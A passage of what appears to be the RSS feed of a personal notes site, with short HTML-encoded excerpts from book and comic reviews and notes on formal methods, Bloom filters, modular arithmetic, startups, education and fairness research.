 background-image: url('/img/fiction/parable-of-sower.jpg');
 }
&lt;/style&gt;

&lt;h2 id="notable-plot-moments"&gt;Notable Plot Moments&lt;/h2&gt;
&lt;p&gt;&amp;ldquo;A pessimist if I&amp;rsquo;m not careful.&amp;rdquo; She did not just reject pessimism once and
become a Pollyanna thereafter. It was an impulse that she had to quell over and
and over. It was a dynamic and continuous act, a hard-nosed practice of staring
down the worst of humanity&amp;rsquo;s evils and refusing to live in denial, all the while
choosing to remember that humanity is also capable of great good. &lt;span class="citation-ref"&gt;&lt;a href="#Nalo2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>The Department of Truth</title><link>https://www.curiosities.dev/fiction/tynion-dept-of-truth/</link><pubDate>Fri, 18 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/tynion-dept-of-truth/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='DeptTruth'&gt;
 
 The Department of Truth | Image Comics&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 James Tynion IV; Martin Simmonds.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/the-department-of-truth" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 18, 2022.
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/tynion-dept-of-truth.jpeg');
 }
&lt;/style&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Expecting a modern take on 1984, which I didn&amp;rsquo;t finish because I lost
interest.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="plot-points"&gt;Plot Points&lt;/h2&gt;
&lt;p&gt;[Lee Harvey Oswald] The more people believe in something, the more true that
thing becomes. The more reality tips in the favor of that belief. What happened
in Antartica was that a group of men managed to make enough people believe in
the truth of a flat earth for it to manifest in reality&amp;hellip; Retroactively, the
earth would always have been flat. And the people would rightly rise up in
fury having been lied to by everyone for decades. &lt;span class="citation-ref"&gt;&lt;a href="#DeptTruth01"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/tulpa"&gt;#tulpa&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Software Engineering Journal Reviews</title><link>https://www.curiosities.dev/computer-science/2022-01-16-swe-journal-reviews/</link><pubDate>Sat, 15 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2022-01-16-swe-journal-reviews/</guid><description>&lt;h2 id="formal-software-design"&gt;Formal Software Design&lt;/h2&gt;
&lt;p&gt;Alloy is an open-source language and analyzer for software modeling. An Alloy
model is a collection of constraints that describe a set of structures, e.g. all
possible security configurations of a web application. Alloy&amp;rsquo;s tool, the Alloy
Analyzer is a solver that takes the constraints of a model and finds structures
that satisfy them. &lt;span class="citation-ref"&gt;&lt;a href="#Alloy"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;div class="flashcard"&gt;
 &lt;div class="flashcard-link-holder" id='card-61f02753a31a800004e5889f'&gt;
 &lt;a href='https://cards.c13u.com/browse/?cardID=61f02753a31a800004e5889f' title='Flashcard: At its current state, Alloy cannot solve optimization problems. Why is that, and how did Zhang2021 solve it?' target="_blank"&gt;
 &lt;span aria-hidden="true"&gt; 📑 &lt;/span&gt;
 &lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;The Alloy Analyzer leverages a SAT solver, and this precludes Alloy from
analyzing optimization problems. &lt;span class="citation-ref"&gt;&lt;a href="#Zhang2021"&gt;&lt;/a&gt;&lt;/span&gt; propose
Alloy&lt;sup&gt;Max&lt;/sup&gt;, an extension of Alloy that can analyze problems with
optimal solutions, soft constraints and priorities. Alloy&lt;sup&gt;Max&lt;/sup&gt; adds new
language constructs for specifying optimization problems, and uses an analysis
engine that leverages a Maximum Satisfiability (MaxSAT) solver. &lt;span class="citation-ref"&gt;&lt;a href="#Zhang2021"&gt;&lt;/a&gt;&lt;/span&gt; also provide a translation mechanism from a first-order relational
logic into a weighted conjunctive normal form (WCNF) that the MaxSAT solver
expects.&lt;/p&gt;</description></item><item><title>Journal Reviews</title><link>https://www.curiosities.dev/computer-science/networks/journal-reviews/</link><pubDate>Tue, 11 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/journal-reviews/</guid><description>&lt;h2 id="link-prediction"&gt;Link Prediction&lt;/h2&gt;
&lt;p&gt;Given network-structured data, predict whether a link exists between two nodes.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;General types of prediction tasks on graphs: graph-level (e.g. will a molecule
bind to a receptor implicated in a disease?), node-level (e.g. what is the
identity of each node?), and edge-level (e.g. does this edge exist; what value
does it have?). &lt;span class="citation-ref"&gt;&lt;a href="#GNNIntro"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Applications include: predicting drug-drug interactions (common in treating
patients with complex/co-existing diseases) as they may cause changes in the
drugs&amp;rsquo; pharmacological activity &lt;span class="citation-ref"&gt;&lt;a href="#Wang2021"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description></item><item><title>Modular Arithmetic</title><link>https://www.curiosities.dev/mathematics/cryptography/modular-arithmetic/</link><pubDate>Sun, 02 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/cryptography/modular-arithmetic/</guid><description>&lt;p&gt;Main resource: &lt;span class="citation-ref"&gt;&lt;a href="#KhanAcademyModularArithmetic"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;h2 id="what-is-modular-arithmetic"&gt;What is Modular Arithmetic?&lt;/h2&gt;
&lt;p&gt;Where \(A\) and \(B\) are integers, we can write:&lt;/p&gt;
&lt;p&gt;$$ \frac{A}{B} = Q \text{ remainder } R $$&lt;/p&gt;
&lt;p&gt;Using the same \(A, B, Q, \text{ and } R\) as above, we have:&lt;/p&gt;
&lt;p&gt;$$ A \text{ mod } B = R $$&lt;/p&gt;
&lt;p&gt;\(A \text{ mod } B\) can be visualized as taking \(A\) steps on a clock that
runs from \(0\) to \(B-1\). If the number is positive we step clockwise, if
it&amp;rsquo;s negative we step counterclockwise.&lt;/p&gt;</description></item><item><title>Projects That Never Made It</title><link>https://www.curiosities.dev/business/on-starting-a-business/2021-12-24-projects-that-never-made-it/</link><pubDate>Fri, 24 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/on-starting-a-business/2021-12-24-projects-that-never-made-it/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Startups tend to fail more often than they succeed. However, a lot of startup
advice is given by those who made it, and therefore prone to survivorship bias.
Hearing from founders that gave it their all but never succeeded should be
enlightening.&lt;/p&gt;
&lt;p&gt;I expect reasons like misunderstanding the customer, sunk costs, running out of
money (especially with societal pressures like a family to fend for), wrong
time, etc.&lt;/p&gt;</description></item><item><title>We The Consumers</title><link>https://www.curiosities.dev/business/2021-12-21-we-the-consumers/</link><pubDate>Tue, 21 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2021-12-21-we-the-consumers/</guid><description>&lt;h2 id="product-differentiation-and-price-discrimination"&gt;Product Differentiation and Price Discrimination&lt;/h2&gt;
&lt;p&gt;Product differentiation seeks to distinguish a product from a competing product
to make it more attractive to a specific target market. Price discrimination
occurs when the same goods/services are sold at different prices from the same
company. &lt;span class="citation-ref"&gt;&lt;a href="#Nickolas2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;The Captain Samuel Vimes &amp;ldquo;Boots&amp;rdquo; theory of socio-economic unfairness: the rich
man who bought the high quality $50 pair of boots would still be using them in
10 years, while the poor man who buys the $10 pair would have spent $100 on
boots in the same time, and still be worse off. &lt;span class="citation-ref"&gt;&lt;a href="#Pratchett1997"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Saga</title><link>https://www.curiosities.dev/fiction/vaughan-saga/</link><pubDate>Sat, 11 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/vaughan-saga/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Saga'&gt;
 
 Saga&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Brian Vaughan; Fiona Staples.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/saga" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/1428524764/series/saga/1428524766" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://en.wikipedia.org/wiki/Saga_%28comics%29" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=en.wikipedia.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;en.wikipedia.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/vaughan-saga.jpg');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Volumes 1, 2, 3, 6, 7 and 9 have been nominated for the the Hugo Award for Best
Graphic Story. &lt;span class="citation-ref"&gt;&lt;a href="#WikiHugoAwardComics"&gt;&lt;/a&gt;&lt;/span&gt; A 6/9 nomination rate implies
that the comic is pretty good!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="themes-mostly-war"&gt;Themes (Mostly War)&lt;/h2&gt;
&lt;p&gt;Planet Landfall (Alana&amp;rsquo;s) and Wreath (its moon, Marko&amp;rsquo;s) have been in conflict
as long as anyone can remember. Destroying either would send the other out of
orbit, so they make peace at home, but outsource the combat to foreign lands.
Most locals didn&amp;rsquo;t really think about the battles being waged in their names in
distant lands. &lt;span class="citation-ref"&gt;&lt;a href="#Saga01"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/societal-apathy"&gt;#societal-apathy&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>As the Last I May Know</title><link>https://www.curiosities.dev/fiction/huang-as-the-last-i-may-know/</link><pubDate>Sat, 04 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/huang-as-the-last-i-may-know/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/utilitarianism"&gt;#utilitarianism&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Huang2019'&gt;
 
 As the Last I May Know&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Shi Lian Huang.
 
 
 
 
 &lt;a href="https://www.tor.com/2020/08/05/read-s-l-huangs-hugo-winning-story-as-the-last-i-may-know/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.tor.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.tor.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Dec 4, 2021.
 
 
&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Huang2019"&gt;&lt;/a&gt;&lt;/span&gt; won the &amp;ldquo;Best Short Story&amp;rdquo; Hugo Award in 2020. &lt;span class="citation-ref"&gt;&lt;a href="#HugoAwards2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="memorable-points"&gt;Memorable Points&lt;/h2&gt;
&lt;p&gt;Background: Sere missiles can wipe out a city completely. Nyma&amp;rsquo;s nation has been
the only recipient of a seres strike. They&amp;rsquo;ve since acquired their own seres
stockpile. They&amp;rsquo;re engaged in war with an state that lacks seres weapons.&lt;/p&gt;</description></item><item><title>The Wicked + The Divine</title><link>https://www.curiosities.dev/fiction/gillen-mckelvie-wicdiv/</link><pubDate>Wed, 01 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/gillen-mckelvie-wicdiv/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/religious-fiction"&gt;#religious-fiction&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/extraterrestrial-possession"&gt;#extraterrestrial-possession&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Volume 9 was nominated for the 2020 Hugo Award for Best Graphic Story or Comic.
However, not very stoked after Book One (Vol 1 and 2). Maybe it gets better?
Only Volume 9 has been nominated for a Hugo Award, so maybe check that next time
before committing? &lt;span class="citation-ref"&gt;&lt;a href="#WikiHugoAwardComics"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;style&gt;
 body {
 background-image: url('/img/fiction/wicdiv.jpg');
 }
&lt;/style&gt;

&lt;p&gt;​​The Recurrence. Every 90 years, 12 gods reincarnate on earth for 2 years. In
2014, the gods are living as pop icons. Some are high culture, e.g. Lucifer, and
others are underground, e.g. The Morrígan.&lt;/p&gt;</description></item><item><title>Blood Is Another Word for Hunger</title><link>https://www.curiosities.dev/fiction/solomon-blood-is-another-word-for-hunger/</link><pubDate>Tue, 30 Nov 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/solomon-blood-is-another-word-for-hunger/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Solomon2019'&gt;
 
 Blood Is Another Word for Hunger&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Rivers Solomon.
 
 
 
 
 
 &lt;a href="https://seattle.bibliocommons.com/v2/record/S30C3504421" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=seattle.bibliocommons.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;seattle.bibliocommons.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2019.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="plot-points"&gt;Plot Points&lt;/h2&gt;
&lt;p&gt;Sully slays slavers&amp;rsquo; family after their patriarch dies in battle. She did not
feel any remorse nor relief.&lt;/p&gt;
&lt;p&gt;The etherworld thrived on the impermissible. A young and tender girl murdering a
family, and maintaining her rage after the fact, was so impermissible that it
cut a path between dominions.&lt;/p&gt;</description></item><item><title>LaGuardia</title><link>https://www.curiosities.dev/fiction/okorafor-laguardia/</link><pubDate>Tue, 30 Nov 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/okorafor-laguardia/</guid><description>&lt;div class="citation" citation-icon-class='' cited-by-count='' is-main=''&gt;
 &lt;cite id='Okorafor2019'&gt;
 
 LaGuardia&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Nnedi Okorafor; Tana Ford; James Devlin.
 
 
 
 
 
 
 
 
 2019.
 
 
 
 
 
&lt;/div&gt;

&lt;style&gt;
 body {
 background-image: url('/img/fiction/okorafor-laguardia.jpg');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Winner of the 2020 Hugo Award for Best Graphic Novel, and the 2020 Eisner Award
for Best Graphic Album - Reprint. &lt;span class="citation-ref"&gt;&lt;a href="#LaGuardiaAwards"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Aliens exist (first landed in Nigeria); human-alien in the world. Main
character: Future, a Nigerian-American doctor. Future sneaks in LetMeLive, an
alien, into America to escape a genocide (largely imperceptible to humans) on
LetMeLive&amp;rsquo;s kind.&lt;/p&gt;</description></item><item><title>Bloom Filters</title><link>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/randomized-algs-and-ds/monte-carlo-algs-and-ds/bloom-filters/</link><pubDate>Sun, 07 Nov 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/randomized-algs-and-ds/monte-carlo-algs-and-ds/bloom-filters/</guid><description>&lt;h2 id="bloom-filters"&gt;Bloom Filters&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;In true fashion to Stigler&amp;rsquo;s Law of Eponymy (no scientific discovery is named
after its original discoverer &lt;span class="citation-ref"&gt;&lt;a href="#WikiStiglersLaw"&gt;&lt;/a&gt;&lt;/span&gt;), Ross Ashby (1960)
did a probabilistic analysis of Calvin Mooers&amp;rsquo;s Zatocoding (1947) (coding system
for library cards). This predates Burton Bloom&amp;rsquo;s work (1970). &lt;span class="citation-ref"&gt;&lt;a href="#EricksonFilteringStreaming"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h3 id="motivation"&gt;Motivation&lt;/h3&gt;
&lt;p&gt;A Bloom filter for a set \(X: \{x_1, x_2, &amp;hellip;, x_n\} \) from some universe
\(\mathbb{U}\) allows one to test whether a given item \(x \in \mathbb{B}\)
is an element of \(X\). Hash tables can already answer \(x \in X\) queries
in \(O(1)\) expected time, and \(O(n)\) space.&lt;/p&gt;</description></item><item><title>In Defense of a Liberal Education</title><link>https://www.curiosities.dev/knowing/in-defense-of-a-liberal-education/</link><pubDate>Sun, 31 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/in-defense-of-a-liberal-education/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/education"&gt;#education&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="societal-preference-for-stem-over-the-liberal-arts"&gt;Societal Preference for STEM Over the Liberal Arts&lt;/h2&gt;
&lt;p&gt;Not everyone can [wants to?] take the sciences, but they were pushed out of
their passions into applicable degrees like Business and Communications. &lt;span class="citation-ref"&gt;&lt;a href="#Zakaria2015"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The initially high economic return to applied STEM degrees declines by more than
50% in the first decade. People who major in LA don&amp;rsquo;t get first jobs that are as
lucrative, but they do catch up. &lt;span class="citation-ref"&gt;&lt;a href="#Deming2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Governments tend to claim a shortage of STEM workers (who are valued for
innovation and national defense), and allocate funds for increasing the student
pipeline. However, the fact that STEM wages have stagnated, and new grads
struggle to find jobs casts doubt on the claim. Furthermore, the data is murky
(e.g. who is classified as STEM, is a STEM degree a pre-requisite for a STEM
job) that it can be massaged to support a specific policy. &lt;span class="citation-ref"&gt;&lt;a href="#Charette2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Socio-Economic Equity in Tech</title><link>https://www.curiosities.dev/computer-science/2021-10-28-socio-economic-equity-in-tech/</link><pubDate>Thu, 28 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/2021-10-28-socio-economic-equity-in-tech/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;When it comes to STEM diversity goals, Asian American and Pacific Islander
(AAPI) tends to be excluded from the URMs under discussion, e.g. &lt;span class="citation-ref"&gt;&lt;a href="#Estrada2016"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;However, AAPI as a blanket term obscures the struggles of member groups, e.g.
\(62\%\) of AAPI adults aged 24 and older have an associate&amp;rsquo;s degree or
higher, compared to 28% of Native Hawaiians and Pacific Islanders of the same
age. AA comprises \(\approx 50\) ethnic groups, while PI has \(\approx 20\).
&lt;span class="citation-ref"&gt;&lt;a href="#Zhou2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Stories of Your Life and Others</title><link>https://www.curiosities.dev/fiction/chiang-stories-of-your-life-and-others/</link><pubDate>Mon, 25 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/chiang-stories-of-your-life-and-others/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Chiang2010'&gt;
 
 Stories of Your Life and Others&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Ted Chiang.
 
 
 
 
 
 
 
 2010.
 &lt;a href="https://openlibrary.org/search?isbn=9781931520898" target="_blank" rel="noopener"&gt;
 ISBN: 9781931520898 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="tower-of-babylon"&gt;Tower of Babylon&lt;/h2&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/religious-fiction"&gt;#religious-fiction&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/divine-retribution-motif"&gt;#divine-retribution-motif&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Story focused on Hillalum, who lived during the construction of the Tower of
Babel &lt;span class="citation-ref"&gt;&lt;a href="#WikiBabel"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Chiang2010"&gt;&lt;/a&gt;&lt;/span&gt; notes that the Hebrew school version was more elaborate
than the Old Testament account, e.g. the tower is so tall that it takes a year
to climb, and when a man falls to his death, no one mourns, but when a brick is
dropped, the brick-layers weep because it will take a year to replace.&lt;/p&gt;</description></item><item><title>Towards a Collaborative Web Browser</title><link>https://www.curiosities.dev/computer-science/www/2021-10-13-a-collaborative-web-browser/</link><pubDate>Wed, 13 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/2021-10-13-a-collaborative-web-browser/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;One of the grand dreams of the web is bringing people together so that they may
find relevant information.&lt;/p&gt;
&lt;p&gt;Sometimes this is implicit, e.g. Google Search&amp;rsquo;s PageRank learns from inter-page
links which are mostly made by people, but there may be room for explicit
collaboration when navigating the web. This section explores such explicit
attempts.&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/lost-in-hyperspace"&gt;#lost-in-hyperspace&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="a-group-asynchronous-browsing-gab-server"&gt;A Group Asynchronous Browsing (GAB) Server &lt;span class="citation-ref"&gt;&lt;a href="#Wittenburg1995"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;











&lt;p&gt;Premise: Users submit their subject hierarchies (bookmarks) to the GAB server.
The GAB server then forms a multitree from these hierarchies.&lt;/p&gt;</description></item><item><title>Evolution</title><link>https://www.curiosities.dev/biology/2021-10-12-on-evolution/</link><pubDate>Tue, 12 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/biology/2021-10-12-on-evolution/</guid><description>&lt;h2 id="why-birds-can-fly-over-mount-everest"&gt;Why Birds Can Fly Over Mount Everest&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Murch2020"&gt;&lt;/a&gt;&lt;/span&gt; uses a captivating narrative style to elaborate on a
complex question. The exposition makes the scientific parts memorable.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Murch2020"&gt;&lt;/a&gt;&lt;/span&gt; features a good anecdote of insight favoring the
prepared. On a jog in London in January, probably primed by reading Nick Lane&amp;rsquo;s
Oxygen, he noticed that there were some bar-headed geese. These geese migrate
between India and Kazakhstan/Mongolia, necessitating a flight over the
Himalayas, sometimes at 28,000 feet.&lt;/p&gt;</description></item><item><title>Reviews of WWW Proceedings</title><link>https://www.curiosities.dev/computer-science/www/2021-10-12-reviews-of-www-proceedings/</link><pubDate>Tue, 12 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/2021-10-12-reviews-of-www-proceedings/</guid><description>&lt;h2 id="32nd-acm-conference-on-hypertext-and-social-media-ht-21"&gt;32nd ACM Conference on Hypertext and Social Media (HT &amp;lsquo;21)&lt;/h2&gt;
&lt;h3 id="reconstructing-irelands-lost-history-through-the-beyond-2022-project"&gt;Reconstructing Ireland&amp;rsquo;s Lost History through the Beyond 2022 Project &lt;span class="citation-ref"&gt;&lt;a href="#Crooks2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;Aims to create a virtual 3-D reconstruction of the &amp;ldquo;Record Treasury&amp;rdquo; of the
Public Record Office of Ireland in Dublin. The original one was destroyed in
Ireland&amp;rsquo;s Civil War of 1922. Reassembling will use copies, transcripts and
records scattered among archival partners.&lt;/p&gt;
&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/digital-humanities"&gt;#digital-humanities&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;The full text of &lt;span class="citation-ref"&gt;&lt;a href="#Crooks2021"&gt;&lt;/a&gt;&lt;/span&gt; discusses challenges presented by the
Beyond 2022 project. Should be more substantive than the forward-looking nature
of the abstract above.&lt;/p&gt;</description></item><item><title>Journal Reviews on Fairness</title><link>https://www.curiosities.dev/computer-science/bias-and-fairness/2021-10-04-journal-reviews-on-fairness/</link><pubDate>Mon, 04 Oct 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/bias-and-fairness/2021-10-04-journal-reviews-on-fairness/</guid><description>&lt;h2 id="meta"&gt;Meta&lt;/h2&gt;

&lt;div class="flashcard"&gt;
 &lt;div class="flashcard-link-holder" id='card-61f033e5a31a800004e588a4'&gt;
 &lt;a href='https://cards.c13u.com/browse/?cardID=61f033e5a31a800004e588a4' title='Flashcard: Chakraborty2021 postulate that the root causes of bias are the prior decisions that generated the training data. What 2 issues do these prior decisions bring, and how do Chakraborty2021 resolve them?' target="_blank"&gt;
 &lt;span aria-hidden="true"&gt; 📑 &lt;/span&gt;
 &lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Instead of changing the data or learners in multiple ways and then see if
fairness improves, &lt;span class="citation-ref"&gt;&lt;a href="#Chakraborty2021"&gt;&lt;/a&gt;&lt;/span&gt; postulate that the root causes
of bias are the prior decisions that generated the training data. These affect
